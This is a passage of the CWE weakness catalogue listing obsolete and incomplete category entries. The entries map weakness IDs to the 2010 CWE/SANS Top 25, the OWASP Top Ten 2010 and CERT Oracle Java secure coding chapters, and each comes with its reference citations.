[REF-732]"2010 CWE/SANS Top 25 Most Dangerous Software Errors". 2010 February 4. < http://cwe.mitre.org/top25/archive/2010/2010_cwe_sans_top25.html >.

Category-803: 2010 Top 25 - Porous Defenses

Category ID : 803 **Status:** Obsolete

Summary

Weaknesses in this category are listed in the "Porous Defenses" section of the 2010 CWE/SANS Top 25 Programming Errors.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	800	Weaknesses in the 2010 CWE/SANS Top 25 Most Dangerous Programming Errors	800	2032
HasMember	C	285	Improper Authorization	800	623
HasMember	B	306	Missing Authentication for Critical Function	800	674
HasMember	C	311	Missing Encryption of Sensitive Data	800	686
HasMember	C	327	Use of a Broken or Risky Cryptographic Algorithm	800	720
HasMember	C	732	Incorrect Permission Assignment for Critical Resource	800	1367
HasMember	B	798	Use of Hard-coded Credentials	800	1486
HasMember	B	807	Reliance on Untrusted Inputs in a Security Decision	800	1507

References

[REF-732]"2010 CWE/SANS Top 25 Most Dangerous Software Errors". 2010 February 4. < http://cwe.mitre.org/top25/archive/2010/2010_cwe_sans_top25.html >.

Category-808: 2010 Top 25 - Weaknesses On the Cusp

Category ID : 808 **Status:** Obsolete

Summary

Weaknesses in this category are not part of the general Top 25, but they were part of the original nominee list from which the Top 25 was drawn.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	800	Weaknesses in the 2010 CWE/SANS Top 25 Most Dangerous Programming Errors	800	2032
HasMember	B	59	Improper Link Resolution Before File Access ('Link Following')	800	106
HasMember	B	134	Use of Externally-Controlled Format String	800	334
HasMember	B	212	Improper Removal of Sensitive Information Before Storage or Transfer	800	500
HasMember	B	307	Improper Restriction of Excessive Authentication Attempts	800	678
HasMember	C	330	Use of Insufficiently Random Values	800	730
HasMember	V	416	Use After Free	800	904
HasMember	B	426	Untrusted Search Path	800	917
HasMember	B	454	External Initialization of Trusted Variables or Data Stores	800	967
HasMember	V	456	Missing Initialization of a Variable	800	971
HasMember	B	476	NULL Pointer Dereference	800	1009
HasMember	C	672	Operation on a Resource after Expiration or Release	800	1310
HasMember	B	681	Incorrect Conversion between Numeric Types	800	1322
HasMember	B	749	Exposed Dangerous Method or Function	800	1377
HasMember	B	772	Missing Release of Resource after Effective Lifetime	800	1432
HasMember	C	799	Improper Control of Interaction Frequency	800	1494
HasMember	B	804	Guessable CAPTCHA	800	1495

References

[REF-732]"2010 CWE/SANS Top 25 Most Dangerous Software Errors". 2010 February 4. < http://cwe.mitre.org/top25/archive/2010/2010_cwe_sans_top25.html >.

Category-810: OWASP Top Ten 2010 Category A1 - Injection

Category ID : 810 **Status:** Obsolete

Summary

Weaknesses in this category are related to the A1 category in the OWASP Top Ten 2010.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	809	Weaknesses in OWASP Top Ten (2010)	809	2033

Nature	Type	ID	Name	V	Page
HasMember	B	78	Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	809	141
HasMember	B	88	Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')	809	181
HasMember	B	89	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	809	187
HasMember	B	90	Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')	809	198
HasMember	B	91	XML Injection (aka Blind XPath Injection)	809	200

References

[REF-761]OWASP. "Top 10 2010-A1-Injection". < http://www.owasp.org/index.php/Top_10_2010-A1-Injection >.

Category-811: OWASP Top Ten 2010 Category A2 - Cross-Site Scripting (XSS)

Category ID : 811 **Status:** Obsolete

Summary

Weaknesses in this category are related to the A2 category in the OWASP Top Ten 2010.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	809	Weaknesses in OWASP Top Ten (2010)	809	2033
HasMember	B	79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	809	152

References

[REF-762]OWASP. "Top 10 2010-A2-Cross-Site Scripting (XSS)". < http://www.owasp.org/index.php/Top_10_2010-A2-Cross-Site_Scripting_%28XSS%29 >.

Category-812: OWASP Top Ten 2010 Category A3 - Broken Authentication and Session Management

Category ID : 812 **Status:** Obsolete

Summary

Weaknesses in this category are related to the A3 category in the OWASP Top Ten 2010.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	809	Weaknesses in OWASP Top Ten (2010)	809	2033
HasMember	C	287	Improper Authentication	809	630
HasMember	B	306	Missing Authentication for Critical Function	809	674
HasMember	B	307	Improper Restriction of Excessive Authentication Attempts	809	678
HasMember	B	798	Use of Hard-coded Credentials	809	1486

References

[REF-763]OWASP. "Top 10 2010-A3-Broken Authentication and Session Management". < http://www.owasp.org/index.php/Top_10_2010-A3-Broken_Authentication_and_Session_Management >.

Category-813: OWASP Top Ten 2010 Category A4 - Insecure Direct Object References

Category ID : 813 **Status:** Obsolete

Summary

Weaknesses in this category are related to the A4 category in the OWASP Top Ten 2010.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	809	Weaknesses in OWASP Top Ten (2010)	809	2033
HasMember	B	22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	809	31
HasMember	C	99	Improper Control of Resource Identifiers ('Resource Injection')	809	224
HasMember	B	434	Unrestricted Upload of File with Dangerous Type	809	935
HasMember	B	639	Authorization Bypass Through User-Controlled Key	809	1251
HasMember	B	829	Inclusion of Functionality from Untrusted Control Sphere	809	1532
HasMember	C	862	Missing Authorization	809	1567
HasMember	C	863	Incorrect Authorization	809	1573

References

[REF-764]OWASP. "Top 10 2010-A4-Insecure Direct Object References". < http://www.owasp.org/index.php/Top_10_2010-A4-Insecure_Direct_Object_References >.

Category-814: OWASP Top Ten 2010 Category A5 - Cross-Site Request Forgery(CSRF)

Category ID : 814 **Status:** Obsolete

Summary

Weaknesses in this category are related to the A5 category in the OWASP Top Ten 2010.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	809	Weaknesses in OWASP Top Ten (2010)	809	2033
HasMember		352	Cross-Site Request Forgery (CSRF)	809	773

References

[REF-765]OWASP. "Top 10 2010-A5-Cross-Site Request Forgery (CSRF)". < http://www.owasp.org/index.php/Top_10_2010-A5-Cross-Site_Request_Forgery_%28CSRF%29 >.

Category-815: OWASP Top Ten 2010 Category A6 - Security Misconfiguration

Category ID : 815 **Status:** Obsolete

Summary

Weaknesses in this category are related to the A6 category in the OWASP Top Ten 2010.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	809	Weaknesses in OWASP Top Ten (2010)	809	2033
HasMember	B	209	Generation of Error Message Containing Sensitive Information	809	490
HasMember	V	219	Storage of File with Sensitive Data Under Web Root	809	509
HasMember	B	250	Execution with Unnecessary Privileges	809	547
HasMember	B	538	Insertion of Sensitive Information into Externally-Accessible File or Directory	809	1111
HasMember	B	552	Files or Directories Accessible to External Parties	809	1125
HasMember	C	732	Incorrect Permission Assignment for Critical Resource	809	1367

References

[REF-766]OWASP. "Top 10 2010-A6-Security Misconfiguration". < http://www.owasp.org/index.php/Top_10_2010-A6-Security_Misconfiguration >.

Category-816: OWASP Top Ten 2010 Category A7 - Insecure Cryptographic Storage

Category ID : 816 **Status:** Obsolete

Summary

Weaknesses in this category are related to the A7 category in the OWASP Top Ten 2010.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	809	Weaknesses in OWASP Top Ten (2010)	809	2033
HasMember	C	311	Missing Encryption of Sensitive Data	809	686
HasMember	B	312	Cleartext Storage of Sensitive Information	809	693
HasMember	C	326	Inadequate Encryption Strength	809	718
HasMember	C	327	Use of a Broken or Risky Cryptographic Algorithm	809	720
HasMember	V	759	Use of a One-Way Hash without a Salt	809	1395

References

[REF-767]OWASP. "Top 10 2010-A7-Insecure Cryptographic Storage". < http://www.owasp.org/index.php/Top_10_2010-A7-Insecure_Cryptographic_Storage >.

Category-817: OWASP Top Ten 2010 Category A8 - Failure to Restrict URL Access

Category ID : 817 **Status:** Obsolete

Summary

Weaknesses in this category are related to the A8 category in the OWASP Top Ten 2010.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	809	Weaknesses in OWASP Top Ten (2010)	809	2033
HasMember	C	285	Improper Authorization	809	623
HasMember	C	862	Missing Authorization	809	1567
HasMember	C	863	Incorrect Authorization	809	1573

References

[REF-768]OWASP. "Top 10 2010-A8-Failure to Restrict URL Access". < http://www.owasp.org/index.php/Top_10_2010-A8-Failure_to_Restrict_URL_Access >.

Category-818: OWASP Top Ten 2010 Category A9 - Insufficient Transport Layer Protection

Category ID : 818 **Status:** Obsolete

Summary

Weaknesses in this category are related to the A9 category in the OWASP Top Ten 2010.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	809	Weaknesses in OWASP Top Ten (2010)	809	2033
HasMember	C	311	Missing Encryption of Sensitive Data	809	686
HasMember	B	319	Cleartext Transmission of Sensitive Information	809	705

References

[REF-769]OWASP. "Top 10 2010-A9-Insufficient Transport Layer Protection". < http://www.owasp.org/index.php/Top_10_2010-A9-Insufficient_Transport_Layer_Protection >.

Category-819: OWASP Top Ten 2010 Category A10 - Unvalidated Redirects and Forwards

Category ID : 819 **Status:** Obsolete

Summary

Weaknesses in this category are related to the A10 category in the OWASP Top Ten 2010.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	809	Weaknesses in OWASP Top Ten (2010)	809	2033
HasMember	B	601	URL Redirection to Untrusted Site ('Open Redirect')	809	1195

References

[REF-770]OWASP. "Top 10 2010-A10-Unvalidated Redirects and Forwards". < http://www.owasp.org/index.php/Top_10_2010-A10-Unvalidated_Redirects_and_Forwards >.

Category-840: Business Logic Errors

Category ID : 840 **Status:** Incomplete

Summary

Weaknesses in this category identify some of the underlying problems that commonly allow attackers to manipulate the business logic of an application. Errors in business logic can be devastating to an entire application. They can be difficult to find automatically, since they typically involve legitimate use of the application's functionality. However, many business logic errors can exhibit patterns that are similar to well-understood implementation and design weaknesses.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	699	Software Development	699	2025
HasMember	B	283	Unverified Ownership	699	618
HasMember	B	288	Authentication Bypass Using an Alternate Path or Channel	699	636
HasMember	B	639	Authorization Bypass Through User-Controlled Key	699	1251
HasMember	B	640	Weak Password Recovery Mechanism for Forgotten Password	699	1253
HasMember	B	708	Incorrect Ownership Assignment	699	1363
HasMember	B	770	Allocation of Resources Without Limits or Throttling	699	1422
HasMember	B	826	Premature Release of Resource During Expected Lifetime	699	1525
HasMember	B	837	Improper Enforcement of a Single, Unique Action	699	1550
HasMember	B	841	Improper Enforcement of Behavioral Workflow	699	1559

Notes

Research Gap

The classification of business logic flaws has been under-studied, although exploitation of business flaws frequently happens in real-world systems, and many applied vulnerability researchers investigate them. The greatest focus is in web applications. There is debate within the community about whether these problems represent particularly new concepts, or if they are variations of well-known principles. Many business logic flaws appear to be oriented toward business processes, application flows, and sequences of behaviors, which are not as well-represented in CWE as weaknesses related to input validation, memory management, etc.

References

[REF-795]Jeremiah Grossman. "Business Logic Flaws and Yahoo Games". 2006 December 8. < http://jeremiahgrossman.blogspot.com/2006/12/business-logic-flaws.html >.

[REF-796]Jeremiah Grossman. "Seven Business Logic Flaws That Put Your Website At Risk". 2007 October. < http://www.whitehatsec.com/home/assets/WP_bizlogic092407.pdf >.

[REF-797]WhiteHat Security. "Business Logic Flaws". < http://www.whitehatsec.com/home/solutions/BL_auction.html >.

[REF-798]WASC. "Abuse of Functionality". < http://projects.webappsec.org/w/page/13246913/Abuse-of-Functionality >.

[REF-799]Rafal Los and Prajakta Jagdale. "Defying Logic: Theory, Design, and Implementation of Complex Systems for Testing Application Logic". 2011. < http://www.slideshare.net/RafalLos/defying-logic-business-logic-testing-with-automation >.

[REF-667]Rafal Los. "Real-Life Example of a 'Business Logic Defect' (Screen Shots!)". 2011. < http://h30501.www3.hp.com/t5/Following-the-White-Rabbit-A/Real-Life-Example-of-a-Business-Logic-Defect-Screen-Shots/ba-p/22581 >.

[REF-801]Viktoria Felmetsger, Ludovico Cavedon, Christopher Kruegel and Giovanni Vigna. "Toward Automated Detection of Logic Vulnerabilities in Web Applications". USENIX Security

Symposium 2010. 2010 August. < http://www.usenix.org/events/sec10/tech/full_papers/Felmetsger.pdf >.

[REF-802]Faisal Nabi. "Designing a Framework Method for Secure Business Application Logic Integrity in e-Commerce Systems". International Journal of Network Security, Vol.12, No.1. 2011. < http://ijns.femto.com.tw/contents/ijns-v12-n1/ijns-2011-v12-n1-p29-41.pdf >.

[REF-1102]Chetan Conikee. "Case Files from 20 Years of Business Logic Flaws". 2020 February. < https://published-prd.lanyonevents.com/published/rsaus20/sessionsFiles/18217/2020_USA20_DSO-R02_01_Case%20Files%20from%2020%20Years%20of%20Business%20Logic%20Flaws.pdf >.

Category-845: The CERT Oracle Secure Coding Standard for Java (2011) Chapter 2 - Input Validation and Data Sanitization (IDS)

Category ID : 845 **Status:** Obsolete

Summary

Weaknesses in this category are related to rules in the Input Validation and Data Sanitization (IDS) chapter of The CERT Oracle Secure Coding Standard for Java (2011).

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	844	Weaknesses Addressed by The CERT Oracle Secure Coding Standard for Java (2011)	844	2034
HasMember	B	78	Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	844	141
HasMember	C	116	Improper Encoding or Escaping of Output	844	260
HasMember	B	134	Use of Externally-Controlled Format String	844	334
HasMember	V	144	Improper Neutralization of Line Delimiters	844	351
HasMember	V	150	Improper Neutralization of Escape, Meta, or Control Sequences	844	362
HasMember	V	180	Incorrect Behavior Order: Validate Before Canonicalize	844	417
HasMember	B	182	Collapse of Data into Unsafe Value	844	422
HasMember	V	289	Authentication Bypass by Alternate Name	844	638
HasMember	B	409	Improper Handling of Highly Compressed Data (Data Amplification)	844	890
HasMember	B	625	Permissive Regular Expression	844	1237
HasMember	V	647	Use of Non-Canonical URL Paths for Authorization Decisions	844	1269
HasMember	B	838	Inappropriate Encoding for Output Context	844	1551

References

[REF-813]Fred Long, Dhruv Mohindra, Robert C. Seacord, Dean F. Sutherland and David Svoboda. "The CERT Oracle Coding Standard for Java". 1st Edition. 2011 September 8. Addison-Wesley Professional.

Category-846: The CERT Oracle Secure Coding Standard for Java (2011) Chapter 3 - Declarations and Initialization (DCL)

Category ID : 846 **Status:** Obsolete

Summary

Weaknesses in this category are related to rules in the Declarations and Initialization (DCL) chapter of The CERT Oracle Secure Coding Standard for Java (2011).

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	844	Weaknesses Addressed by The CERT Oracle Secure Coding Standard for Java (2011)	844	2034
HasMember	C	665	Improper Initialization	844	1293

References

[REF-813]Fred Long, Dhruv Mohindra, Robert C. Seacord, Dean F. Sutherland and David Svoboda. "The CERT Oracle Coding Standard for Java". 1st Edition. 2011 September 8. Addison-Wesley Professional.

Category-847: The CERT Oracle Secure Coding Standard for Java (2011) Chapter 4 - Expressions (EXP)

Category ID : 847 **Status:** Obsolete

Summary

Weaknesses in this category are related to rules in the Expressions (EXP) chapter of The CERT Oracle Secure Coding Standard for Java (2011).

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	844	Weaknesses Addressed by The CERT Oracle Secure Coding Standard for Java (2011)	844	2034
HasMember	B	252	Unchecked Return Value	844	553
HasMember	V	479	Signal Handler Use of a Non-reentrant Function	844	1021
HasMember	V	595	Comparison of Object References Instead of Object Contents	844	1187
HasMember	V	597	Use of Wrong Operator in String Comparison	844	1189

References

[REF-813]Fred Long, Dhruv Mohindra, Robert C. Seacord, Dean F. Sutherland and David Svoboda. "The CERT Oracle Coding Standard for Java". 1st Edition. 2011 September 8. Addison-Wesley Professional.

Category-848: The CERT Oracle Secure Coding Standard for Java (2011) Chapter 5 - Numeric Types and Operations (NUM)

Category ID : 848 **Status:** Obsolete

Summary

Weaknesses in this category are related to rules in the Numeric Types and Operations (NUM) chapter of The CERT Oracle Secure Coding Standard for Java (2011).

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	844	Weaknesses Addressed by The CERT Oracle Secure Coding Standard for Java (2011)	844	2034
HasMember	B	197	Numeric Truncation Error	844	461
HasMember	B	369	Divide By Zero	844	818
HasMember	B	681	Incorrect Conversion between Numeric Types	844	1322

References

[REF-813]Fred Long, Dhruv Mohindra, Robert C. Seacord, Dean F. Sutherland and David Svoboda. "The CERT Oracle Coding Standard for Java". 1st Edition. 2011 September 8. Addison-Wesley Professional.

Category-849: The CERT Oracle Secure Coding Standard for Java (2011) Chapter 6 - Object Orientation (OBJ)

Category ID : 849 **Status:** Obsolete

Summary

Weaknesses in this category are related to rules in the Object Orientation (OBJ) chapter of The CERT Oracle Secure Coding Standard for Java (2011).

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	844	Weaknesses Addressed by The CERT Oracle Secure Coding Standard for Java (2011)	844	2034
HasMember	B	374	Passing Mutable Objects to an Untrusted Method	844	824
HasMember	B	375	Returning a Mutable Object to an Untrusted Caller	844	827
HasMember	V	486	Comparison of Classes by Name	844	1036
HasMember	V	491	Public cloneable() Method Without Final ('Object Hijack')	844	1044
HasMember	V	492	Use of Inner Class Containing Sensitive Data	844	1046
HasMember	V	493	Critical Public Variable Without Final Modifier	844	1053
HasMember	V	498	Cloneable Class Containing Sensitive Information	844	1065
HasMember	V	500	Public Static Field Not Marked Final	844	1069
HasMember	V	582	Array Declared Public, Final, and Static	844	1168
HasMember	V	766	Critical Data Element Declared Public	844	1415

References

[REF-813]Fred Long, Dhruv Mohindra, Robert C. Seacord, Dean F. Sutherland and David Svoboda. "The CERT Oracle Coding Standard for Java". 1st Edition. 2011 September 8. Addison-Wesley Professional.

Category-850: The CERT Oracle Secure Coding Standard for Java (2011) Chapter 7 - Methods (MET)

Category ID : 850 **Status:** Obsolete

Summary

Weaknesses in this category are related to rules in the Methods (MET) chapter of The CERT Oracle Secure Coding Standard for Java (2011).

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	844	Weaknesses Addressed by The CERT Oracle Secure Coding Standard for Java (2011)	844	2034
HasMember	B	487	Reliance on Package-level Scope	844	1038
HasMember	V	568	finalize() Method Without super.finalize()	844	1146
HasMember	C	573	Improper Following of Specification by Caller	844	1153
HasMember	B	581	Object Model Violation: Just One of Equals and Hashcode Defined	844	1167
HasMember	V	583	finalize() Method Declared Public	844	1169
HasMember	V	586	Explicit Call to Finalize()	844	1174
HasMember	V	589	Call to Non-ubiquitous API	844	1178
HasMember	B	617	Reachable Assertion	844	1224

References

[REF-813]Fred Long, Dhruv Mohindra, Robert C. Seacord, Dean F. Sutherland and David Svoboda. "The CERT Oracle Coding Standard for Java". 1st Edition. 2011 September 8. Addison-Wesley Professional.

Category-851: The CERT Oracle Secure Coding Standard for Java (2011) Chapter 8 - Exceptional Behavior (ERR)

Category ID : 851 **Status:** Obsolete

Summary

Weaknesses in this category are related to rules in the Exceptional Behavior (ERR) chapter of The CERT Oracle Secure Coding Standard for Java (2011).

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	844	Weaknesses Addressed by The CERT Oracle Secure Coding Standard for Java (2011)	844	2034
HasMember	B	209	Generation of Error Message Containing Sensitive Information	844	490
HasMember	V	230	Improper Handling of Missing Values	844	521
HasMember	V	232	Improper Handling of Undefined Values	844	524
HasMember	B	248	Uncaught Exception	844	545
HasMember	V	382	J2EE Bad Practices: Use of System.exit()	844	836
HasMember	B	390	Detection of Error Condition Without Action	844	845
HasMember	B	395	Use of NullPointerException Catch to Detect NULL Pointer Dereference	844	857
HasMember	B	397	Declaration of Throws for Generic Exception	844	862
HasMember	B	460	Improper Cleanup on Thrown Exception	844	981
HasMember	B	497	Exposure of Sensitive System Information to an Unauthorized Control Sphere	844	1062
HasMember	B	584	Return Inside Finally Block	844	1171
HasMember	B	600	Uncaught Exception in Servlet	844	1193
HasMember	CO	690	Unchecked Return Value to NULL Pointer Dereference	844	1339
HasMember	P	703	Improper Check or Handling of Exceptional Conditions	844	1355
HasMember	C	705	Incorrect Control Flow Scoping	844	1359

References

[REF-813]Fred Long, Dhruv Mohindra, Robert C. Seacord, Dean F. Sutherland and David Svoboda. "The CERT Oracle Coding Standard for Java". 1st Edition. 2011 September 8. Addison-Wesley Professional.

Category-852: The CERT Oracle Secure Coding Standard for Java (2011) Chapter 9 - Visibility and Atomicity (VNA)

Category ID : 852 **Status:** Obsolete

Summary

Weaknesses in this category are related to rules in the Visibility and Atomicity (VNA) chapter of The CERT Oracle Secure Coding Standard for Java (2011).

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	844	Weaknesses Addressed by The CERT Oracle Secure Coding Standard for Java (2011)	844	2034
HasMember	C	362	Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')	844	793
HasMember	B	366	Race Condition within a Thread	844	809
HasMember	B	413	Improper Resource Locking	844	896
HasMember	B	567	Unsynchronized Access to Shared Data in a Multithreaded Context	844	1144
HasMember	C	662	Improper Synchronization	844	1288
HasMember	C	667	Improper Locking	844	1299

References

[REF-813]Fred Long, Dhruv Mohindra, Robert C. Seacord, Dean F. Sutherland and David Svoboda. "The CERT Oracle Coding Standard for Java". 1st Edition. 2011 September 8. Addison-Wesley Professional.

Category-853: The CERT Oracle Secure Coding Standard for Java (2011) Chapter 10 - Locking (LCK)

Category ID : 853 **Status:** Obsolete

Summary

Weaknesses in this category are related to rules in the Locking (LCK) chapter of The CERT Oracle Secure Coding Standard for Java (2011).

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	844	Weaknesses Addressed by The CERT Oracle Secure Coding Standard for Java (2011)	844	2034
HasMember	B	412	Unrestricted Externally Accessible Lock	844	893
HasMember	B	413	Improper Resource Locking	844	896
HasMember	B	609	Double-Checked Locking	844	1211
HasMember	C	667	Improper Locking	844	1299
HasMember	B	820	Missing Synchronization	844	1512

Nature	Type	ID	Name	V	Page
HasMember	B	833	Deadlock	844	1543

References

[REF-813]Fred Long, Dhruv Mohindra, Robert C. Seacord, Dean F. Sutherland and David Svoboda. "The CERT Oracle Coding Standard for Java". 1st Edition. 2011 September 8. Addison-Wesley Professional.

Category-854: The CERT Oracle Secure Coding Standard for Java (2011) Chapter 11 - Thread APIs (THI)

Category ID : 854 **Status:** Obsolete

Summary

Weaknesses in this category are related to rules in the Thread APIs (THI) chapter of The CERT Oracle Secure Coding Standard for Java (2011).

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	844	Weaknesses Addressed by The CERT Oracle Secure Coding Standard for Java (2011)	844	2034
HasMember	V	572	Call to Thread run() instead of start()	844	1152
HasMember	C	705	Incorrect Control Flow Scoping	844	1359

References

[REF-813]Fred Long, Dhruv Mohindra, Robert C. Seacord, Dean F. Sutherland and David Svoboda. "The CERT Oracle Coding Standard for Java". 1st Edition. 2011 September 8. Addison-Wesley Professional.

Category-855: The CERT Oracle Secure Coding Standard for Java (2011) Chapter 12 - Thread Pools (TPS)

Category ID : 855 **Status:** Obsolete

Summary

Weaknesses in this category are related to rules in the Thread Pools (TPS) chapter of The CERT Oracle Secure Coding Standard for Java (2011).

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	844	Weaknesses Addressed by The CERT Oracle Secure Coding Standard for Java (2011)	844	2034
HasMember	B	392	Missing Report of Error Condition	844	853
HasMember	C	405	Asymmetric Resource Consumption (Amplification)	844	883
HasMember	B	410	Insufficient Resource Pool	844	891

References

[REF-813]Fred Long, Dhruv Mohindra, Robert C. Seacord, Dean F. Sutherland and David Svoboda. "The CERT Oracle Coding Standard for Java". 1st Edition. 2011 September 8. Addison-Wesley Professional.

Category-856: The CERT Oracle Secure Coding Standard for Java (2011) Chapter 13 - Thread-Safety Miscellaneous (TSM)

Category ID : 856 **Status:** Obsolete

Summary

Weaknesses in this category are related to rules in the Thread-Safety Miscellaneous (TSM) chapter of The CERT Oracle Secure Coding Standard for Java (2011).

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	844	Weaknesses Addressed by The CERT Oracle Secure Coding Standard for Java (2011)	844	2034

References

[REF-813]Fred Long, Dhruv Mohindra, Robert C. Seacord, Dean F. Sutherland and David Svoboda. "The CERT Oracle Coding Standard for Java". 1st Edition. 2011 September 8. Addison-Wesley Professional.

Category-857: The CERT Oracle Secure Coding Standard for Java (2011) Chapter 14 - Input Output (FIO)

Category ID : 857 **Status:** Obsolete

Summary

Weaknesses in this category are related to rules in the Input Output (FIO) chapter of The CERT Oracle Secure Coding Standard for Java (2011).

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	844	Weaknesses Addressed by The CERT Oracle Secure Coding Standard for Java (2011)	844	2034
HasMember	V	67	Improper Handling of Windows Device Names	844	120
HasMember	B	135	Incorrect Calculation of Multi-Byte String Length	844	339
HasMember	B	198	Use of Incorrect Byte Ordering	844	465
HasMember	B	276	Incorrect Default Permissions	844	606
HasMember	V	279	Incorrect Execution-Assigned Permissions	844	611
HasMember	B	359	Exposure of Private Personal Information to an Unauthorized Actor	844	788
HasMember	C	377	Insecure Temporary File	844	829
HasMember	C	404	Improper Resource Shutdown or Release	844	877
HasMember	C	405	Asymmetric Resource Consumption (Amplification)	844	883
HasMember	B	459	Incomplete Cleanup	844	978
HasMember	B	532	Insertion of Sensitive Information into Log File	844	1104
HasMember	C	732	Incorrect Permission Assignment for Critical Resource	844	1367
HasMember	B	770	Allocation of Resources Without Limits or Throttling	844	1422

References

[REF-813]Fred Long, Dhruv Mohindra, Robert C. Seacord, Dean F. Sutherland and David Svoboda. "The CERT Oracle Coding Standard for Java". 1st Edition. 2011 September 8. Addison-Wesley Professional.

Category-858: The CERT Oracle Secure Coding Standard for Java (2011) Chapter 15 - Serialization (SER)

Category ID : 858 **Status:** Obsolete

Summary

Weaknesses in this category are related to rules in the Serialization (SER) chapter of The CERT Oracle Secure Coding Standard for Java (2011).

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	844	Weaknesses Addressed by The CERT Oracle Secure Coding Standard for Java (2011)	844	2034
HasMember	B	250	Execution with Unnecessary Privileges	844	547
HasMember	B	319	Cleartext Transmission of Sensitive Information	844	705
HasMember	C	400	Uncontrolled Resource Consumption	844	864
HasMember	V	499	Serializable Class Containing Sensitive Data	844	1067
HasMember	B	502	Deserialization of Untrusted Data	844	1072
HasMember	V	589	Call to Non-ubiquitous API	844	1178
HasMember	B	770	Allocation of Resources Without Limits or Throttling	844	1422

References

[REF-813]Fred Long, Dhruv Mohindra, Robert C. Seacord, Dean F. Sutherland and David Svoboda. "The CERT Oracle Coding Standard for Java". 1st Edition. 2011 September 8. Addison-Wesley Professional.

Category-859: The CERT Oracle Secure Coding Standard for Java (2011) Chapter 16 - Platform Security (SEC)

Category ID : 859 **Status:** Obsolete

Summary

Weaknesses in this category are related to rules in the Platform Security (SEC) chapter of The CERT Oracle Secure Coding Standard for Java (2011).

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	844	Weaknesses Addressed by The CERT Oracle Secure Coding Standard for Java (2011)	844	2034
HasMember	V	111	Direct Use of Unsafe JNI	844	247
HasMember	B	266	Incorrect Privilege Assignment	844	580
HasMember	B	272	Least Privilege Violation	844	598
HasMember	C	300	Channel Accessible by Non-Endpoint	844	663
HasMember	V	302	Authentication Bypass by Assumed-Immutable Data	844	668
HasMember	B	319	Cleartext Transmission of Sensitive Information	844	705
HasMember	B	347	Improper Verification of Cryptographic Signature	844	764
HasMember	B	470	Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')	844	996
HasMember	B	494	Download of Code Without Integrity Check	844	1055
HasMember	C	732	Incorrect Permission Assignment for Critical Resource	844	1367
HasMember	B	807	Reliance on Untrusted Inputs in a Security Decision	844	1507

References

[REF-813]Fred Long, Dhruv Mohindra, Robert C. Seacord, Dean F. Sutherland and David Svoboda. "The CERT Oracle Coding Standard for Java". 1st Edition. 2011 September 8. Addison-Wesley Professional.

Category-860: The CERT Oracle Secure Coding Standard for Java (2011) Chapter 17 - Runtime Environment (ENV)

Category ID : 860 **Status:** Obsolete

Summary

Weaknesses in this category are related to rules in the Runtime Environment (ENV) chapter of The CERT Oracle Secure Coding Standard for Java (2011).

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	844	Weaknesses Addressed by The CERT Oracle Secure Coding Standard for Java (2011)	844	2034
HasMember	B	349	Acceptance of Extraneous Untrusted Data With Trusted Data	844	768
HasMember	C	732	Incorrect Permission Assignment for Critical Resource	844	1367

References

[REF-813]Fred Long, Dhruv Mohindra, Robert C. Seacord, Dean F. Sutherland and David Svoboda. "The CERT Oracle Coding Standard for Java". 1st Edition. 2011 September 8. Addison-Wesley Professional.

Category-861: The CERT Oracle Secure Coding Standard for Java (2011) Chapter 18 - Miscellaneous (MSC)

Category ID : 861 **Status:** Obsolete

Summary

Weaknesses in this category are related to rules in the Miscellaneous (MSC) chapter of The CERT Oracle Secure Coding Standard for Java (2011).

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	844	Weaknesses Addressed by The CERT Oracle Secure Coding Standard for Java (2011)	844	2034
HasMember	V	259	Use of Hard-coded Password	844	569
HasMember	C	311	Missing Encryption of Sensitive Data	844	686
HasMember	C	330	Use of Insufficiently Random Values	844	730
HasMember	V	332	Insufficient Entropy in PRNG	844	739
HasMember	V	333	Improper Handling of Insufficient Entropy in TRNG	844	740
HasMember	V	336	Same Seed in Pseudo-Random Number Generator (PRNG)	844	745
HasMember	V	337	Predictable Seed in Pseudo-Random Number Generator (PRNG)	844	747
HasMember	C	400	Uncontrolled Resource Consumption	844	864

Nature	Type	ID	Name	V	Page
HasMember	V	401	Missing Release of Memory after Effective Lifetime	844	872
HasMember	V	543	Use of Singleton Pattern Without Synchronization in a Multithreaded Context	844	1115
HasMember	B	770	Allocation of Resources Without Limits or Throttling	844	1422
HasMember	B	798	Use of Hard-coded Credentials	844	1486

References

